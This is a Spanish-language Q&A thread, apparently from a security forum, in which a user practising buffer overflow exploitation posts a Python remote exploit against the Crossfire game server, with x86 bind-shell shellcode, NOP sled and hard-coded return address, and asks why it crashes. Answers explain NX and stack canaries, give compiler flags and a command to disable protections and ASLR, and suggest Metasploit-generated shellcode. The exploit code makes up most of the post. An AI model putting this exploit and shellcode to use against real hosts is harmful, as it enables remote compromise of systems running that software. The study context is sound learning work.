Linux Memory Protection del desbordamiento de búfer

3

Estoy practicando la explotación de desbordamiento de búfer de Linux. cuando se intenta explotar una vulnerabilidad en el fuego cruzado, todo funciona bien y se coloca el código de shell en el lugar correcto, y el flujo del programa se redirige al código de shell; sin embargo, al iniciar la ejecución del código de shell, el programa falla.

versión del sistema operativo (bt5 R3): Linux bt 3.2.6 # 1 SMP Vie 17 de febrero 10:40:05 EST 2012 i686 GNU / Linux

exploit code:

import socket, sys
host = sys.argv[1]

//0x8134e77 jump eax 
//0xb7dadad6 nop sled address

shellcode= ("\xcc\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
"\x5b\x5e\x52\x68\xff\x02\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a"
"\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0"
"\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0"
"\x0b\xcd\x80")

crash = "\x90" *199 + shellcode + "\x43" * 4090 + "\xd6\xda\xda\xb7" + "D" * 7

buffer= "\x11(setup sound " + crash + "\x90\x00#"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

print "[*]Sending evil buffer..."

s.connect((host, 13327))

print (s.recv(1024))

s.send(buffer)

s.close()

print "[*]Payload Sent !"

Puse un punto de ruptura antes de que Shellcode y el flujo de ejecución lo golpeaen correctamente, sin embargo, después de continuar, el programa se bloquea y muestra el siguiente mensaje: "Señal recibida programa SIGSEGV, falla de segmentación. 0xb7daeb36 en ?? () "

Al inspeccionar esta dirección, ¡está llena de ceros!

Ya deshabilité ASLR antes de comenzar el ejercicio y me pregunto si existe algún otro mecanismo de protección que evite la explotación.

    
pregunta Ahmed Taher 06.07.2013 - 04:14
fuente

2 respuestas

2

La forma en que el programa vulnerable recibe el código shell, almacenará este código shell en la pila. Tiene dos mecanismos de protección que evitarán la ejecución del shellcode. Una es que la pila se marcará como no ejecutable (la protección de bits NX) y la otra es los canarios (donde se coloca un valor aleatorio antes de EIP en la pila y se comprueba antes de abrir EIP).

Debe desactivar ambos mecanismos de protección antes de ejecutar su Shellcode desde la pila.

Si está utilizando gcc, vuelva a compilar el programa vulnerable como:
gcc -fno-stack-protector -z stackexec -o vuln_prog vuln_prog.c

Luego realiza la explotación.

    
respondido por el void_in 06.07.2013 - 07:03
fuente
1

Creo que revisaría su código de shell, ya que contiene valores como xff que pueden no funcionar en esta instancia. Podría valer la pena intentar generar un nuevo código usando metasploit (msfweb), por ejemplo, lo que permitirá excluir ciertos valores 0x00 y similares. También verifique que haya deshabilitado ASLR: echo 0 > /proc/sys/kernel/randomize_va_space

    
respondido por el user31333 28.09.2013 - 02:28
fuente

Lea otras preguntas en las etiquetas